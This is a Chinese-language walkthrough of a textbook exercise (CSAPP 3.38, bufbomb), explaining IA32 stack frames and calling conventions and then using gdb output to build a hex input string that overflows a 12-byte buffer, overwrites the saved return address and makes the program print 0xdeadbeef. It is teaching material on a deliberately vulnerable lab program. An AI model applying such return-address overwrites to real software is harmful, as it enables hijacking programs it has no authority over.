stack frame与缓冲区溢出

CSAPP课后习题3.38，是利用缓冲区溢出来攻击一段程序，使其输出结果为0xdeadbeef。程序的源代码可以从http://csapp.cs.cmu.edu/public/ics/code/asm/bufbomb.c获得。
程序的主体是下面两个函数：
int getbuf()
{
     char buf[12];
     getxs(buf);
     return 1;
}

void test()
{
     int val;
     printf("Type Hex string:");
     val = getbuf();
     printf("getbuf returned 0x%x/n", val);
}
初看之下，函数getbuf始终返回1，那么最后打印出来的一定是"getbuf returned 0x1"(笔者的环境是win2k+cygwin2.427+gcc3.33)
看一下高等语言的函数调用是如何被汇编语言具体实现的：
图示可以在这里查看CSAPP中的插图
在调用之前，调用者会将函数的参数入栈：
mov    %eax,0x4(%esp,1)
movl   $0x403011,(%esp,1)
然后调用该函数：
call   0x401530 <printf>
在执行call指令的时候，当前的%eip会被自动入栈，将来函数返回时就从这个地方开始执行。
在一个函数开始的地方，一定是以下面两条指令开头：
push   %ebp
mov    %esp,%ebp
该操作将原有的%ebp入栈，%esp的值赋予％ebp，这样被调用函数的%ebp所指的内容就是调用者的%ebp，一般情况下，会紧接着下面一条指令：
sub    $0x8,%esp  (这里和被调用函数需要的空间大小有关，不一定是8)
函数的stack frame就是%ebp和%esp之间的空间，这里的大小就是8个字节。%ebp是当前函数的FramePoimter，指的是当前Frame的起始位置，该位置存放的是调用本函数的函数的%ebp。（此处可以参考《结构化计算机组成》中的call指令的微码实现，相当于图中的LV指针。）
在ISA指令call执行时，用户当前的寄存器%eip会被压入到栈中，然后跳转到被调用的函数。ISA指令ret执行时，CPU会从栈中pop一个值，放到%eip中，程序就跳到这个指令继续执行。
从上面的stack frame，我们可以看到两个方面的东西：
1、内存布局。其中%ebp+4存放的是函数返回的指令地址，局部变量存放在图中的Locals and Temporaries里面，例如函数getbuf声明了字符串数组buf[12]，位置就应该是%ebp-n(n为正数，大与12，具体的值和编译器有关)。buf在图中增长的方向是向上，那么buf[16]所在的位置就可能是现在%ebp所指的位置，buf[20]的位置可能就是函数的Return Address。只要改写这里，就可以让函数执行我们需要的代码，这就是缓冲区溢出的根本危害。
2、函数调用规则。IA32的寄存器在使用习惯上分为两种：所谓caller save registers指由调用者负责处理，而被调用者可以随便用而不用恢复的寄存器。包括%eax, %edx和 %ecx，编译器生成汇编代码的时候，如果发现被调用函数需要使用这些寄存器，会首先把被使用到的这几个寄存器入栈。还有一种callee save registers指的被调用的函数负责保存其状态的寄存器，函数调用前后，调用者看不到其变化的寄存器。函数调用之前，可能会首先将caller save registers入栈(是否发生依据被调用函数需要使用的寄存器数目而定)，然后将函数的参数从后向前依次压栈，接下来就是call调用(改步骤会将当前%eip入栈)。我们需要打印出0xdeadbeef，那么在调用函数printf的时候，就必须将其放在%esp+4的位置。

背景介绍到这里，下面就是具体的解题步骤：
首先，函数getbuf()的返回值存放在寄存器$eax里面，是无法修改的。程序的目的是要打印出"getbuf returned 0xdeadbeef"
1、编译文件gcc -O2 -g bufbomb.c -o bufbomb.exe

2、使用gdb反编译获得的可执行文件，获得其汇编代码
0x00401120 <test+0>:    push   %ebp
0x00401121 <test+1>:    mov    %esp,%ebp
0x00401123 <test+3>:    sub    $0x8,%esp
0x00401126 <test+6>:    movl   $0x403000,(%esp,1)
0x0040112d <test+13>:   call   0x401530 <printf>
0x00401132 <test+18>:   call   0x401100 <getbuf>
0x00401137 <test+23>:   mov    %eax,0x4(%esp,1)
0x0040113b <test+27>:   movl   $0x403011,(%esp,1)
0x00401142 <test+34>:   call   0x401530 <printf>
0x00401147 <test+39>:   mov    %ebp,%esp
0x00401149 <test+41>:   pop    %ebp
0x0040114a <test+42>:   ret
其中，指令0x00401137 <test+23>:   mov    %eax,0x4(%esp,1)就是函数getbuf()正常情况下的返回EIP，也就对应着函数printf的参数val压栈，指令0x0040113b <test+27>:   movl   $0x403011,(%esp,1)是将函数printf的参数"getbuf returned 0x%x/n"压栈，也就是我们将要跳转的指令。
在这一步，我们获得了第一个有用信息：目标的EIP是0x0040113b.

3、在函数test的第一个打印语句处设置断点，获得函数的寄存器信息。
esp            0x22ef30
ebp            0x22ef38
从上面的反汇编代码可以知道,printf的第二个参数val地址是0x4($esp,1),也就是0x22ef34。这样，我们就获得了第二个有用信息：0xdeadbeef将要被放在地址0x22ef34开始的四个字节

4、在函数getbuf入口设置短点，获得buf的地址，和该函数的寄存器信息：
(gdb) p &buf
$2 = (char (*)12) 0x22ef10
(gdb) i r
esp            0x22ef00
ebp            0x22ef28
可知第三个有用信息：buf的起始位置是0x22ef10,$ebp是0x22ef28（换言之，0x22ef10到0x22ef27之间的内容可以任意填写，为了计数方便，我们写入的内容就是其内存地址的最低位）

5、观察$ebp所指的内存地址的内容：
(gdb) x /16 0x22ef10
0x22ef10            0x610f0d68            0x00403000            0x0022ef34            0x00000000
0x22ef20            0x00000000            0x00000010            0x0022ef38            0x00401137
0x22ef30            0x00403000            0x0a052ce0            0x0022ef98            0x00401180
0x22ef40            0x00000f50           0x77e63b28            0x00000320            0x00000000
其中0x4(%ebp)也就是0x22ef2c就是getbuf返回以后的指令地址，现在的值是0x00401137,也就是将val压栈的指令。我们获得了第四个有用信息：需要将内存地址0x22ef2c的内容修改为为0x0040113b

6、综合上面的几个信息：初步得到这样的字符串：
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27(这一段不重要)
38 ef 22 00(原来的ebp)
3b 11 40 00(新的返回地址)
00 30 40 00(字符串"getbuf returned 0x%x/n"指针)
ef be ed de(想要打印的字符)
98 ef 22(此处存放函数main的$ebp,字符串以00结尾，必须加这几个字符，保证该地址内容不被修改)

linux环境下，处理的方法类似与之类似